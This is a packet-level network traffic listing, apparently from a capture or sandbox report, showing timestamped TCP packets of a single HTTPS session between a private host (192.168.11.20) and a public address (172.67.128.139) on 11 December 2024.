Dec 11, 2024 12:15:53.239315033 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.239330053 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.239468098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.239468098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.239480972 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.239660025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.239660025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.240262985 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.240278006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.240423918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.240603924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.240603924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.240603924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.240603924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.240613937 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.241250992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.241269112 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.241441011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.241441011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.241452932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.241631985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.241631985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.241821051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243035078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.243052006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.243196011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243196011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243350983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243350983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243350983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243350983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.243360996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.244317055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.244339943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.244473934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.244486094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.244703054 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.244703054 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.245295048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.245313883 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.245409012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.245456934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.245632887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.245632887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.245640993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.245702028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.245928049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.245938063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.292036057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.418405056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.418411016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.418478966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.418569088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.419079065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.419089079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.419267893 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.419271946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.419277906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.419297934 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.419471025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.419595003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.419786930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.420412064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.420433044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.420779943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.420779943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.420779943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.420793056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.421160936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.421426058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.421446085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.421587944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.421587944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.421772003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.421772003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.421781063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.421962976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.422296047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.422317028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.422486067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.422486067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.422569036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.422575951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.422753096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.423099041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.423115015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.423275948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.423275948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.423453093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.423459053 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.423636913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.423636913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.423636913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.424633026 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.424649954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.424791098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.424791098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.424973965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.424973965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.424983025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.425165892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.425571918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.425587893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.425909042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.425909042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.425909042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.425909042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.425925970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.426100016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.426340103 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.426361084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.426489115 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.426541090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.426541090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.426549911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.426718950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.426718950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.426718950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.427236080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.427252054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.427416086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.427416086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.427417040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.427429914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.427594900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.427596092 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.428926945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.428951025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.429090023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.429269075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.429269075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.429269075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.429277897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.429461002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.429461002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.429860115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.429876089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.430021048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.430021048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.430206060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.430206060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.430217028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.430396080 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.430991888 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.431014061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.431158066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.431158066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.431313992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.431313992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.431313992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.431323051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.431507111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.431927919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.431945086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.432089090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.432272911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.432272911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.432284117 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.432466030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.432466030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.432466030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.433067083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.433087111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.433456898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.433456898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.433469057 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.433645010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434186935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.434217930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.434345961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434526920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434526920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434526920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434526920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434539080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.434720993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.434989929 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.435004950 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.435174942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.435265064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.435271978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.435450077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.436120987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.436136961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.436244011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.436474085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.436474085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.436474085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.436474085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.436486006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.436952114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.436970949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.437148094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.437148094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.437158108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.437238932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.437238932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.437494993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.438229084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.438245058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.438570976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.438570976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.438570976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.438585997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.438762903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.438951015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.439136028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.439152002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.439296961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.439296961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.439476967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.439476967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.439483881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.439640999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.440084934 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.440100908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.440243006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.440243006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.440423012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.440423012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.440423012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.440431118 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.440982103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441232920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.441248894 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.441368103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441368103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441416025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441422939 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.441597939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441597939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441597939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.441950083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.441966057 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.442075014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.442121029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.442121029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.442130089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.442301989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.442301989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.442467928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.443603992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.443619967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.443766117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.443766117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.443948984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.443958044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.444139004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.444139004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.444139004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.444344997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.444360971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.444504023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.444684982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.444684982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.444693089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.444876909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.445384979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.445400953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.445545912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.445545912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.445728064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.445728064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.445728064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.445734978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.445915937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.446357012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.446377039 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.446523905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.446701050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.446701050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.446710110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.446892977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.446892977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.446892977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.448055983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.448082924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.448218107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.448400974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.448400974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.448400974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.448410034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.448592901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449120998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.449150085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.449286938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449286938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449466944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449466944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449474096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.449659109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449659109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.449877977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.449898005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.450383902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.450383902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.450397968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.450431108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.450581074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.451246977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.451267004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.451406002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.451406002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.451586008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.451586008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.451594114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.452002048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.452023983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.452148914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.452158928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.452328920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.452328920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.452328920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.452328920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.452328920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.452328920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.453078032 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.453097105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.453243017 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.453423977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.453423977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.453435898 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.453661919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.453901052 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.453921080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.454063892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454247952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454247952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454257965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.454438925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454438925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454440117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454824924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.454843998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.454987049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.454987049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.455169916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.455169916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.455178022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.455363035 CET	49782	443	192.168.11.20	172.67.128.139
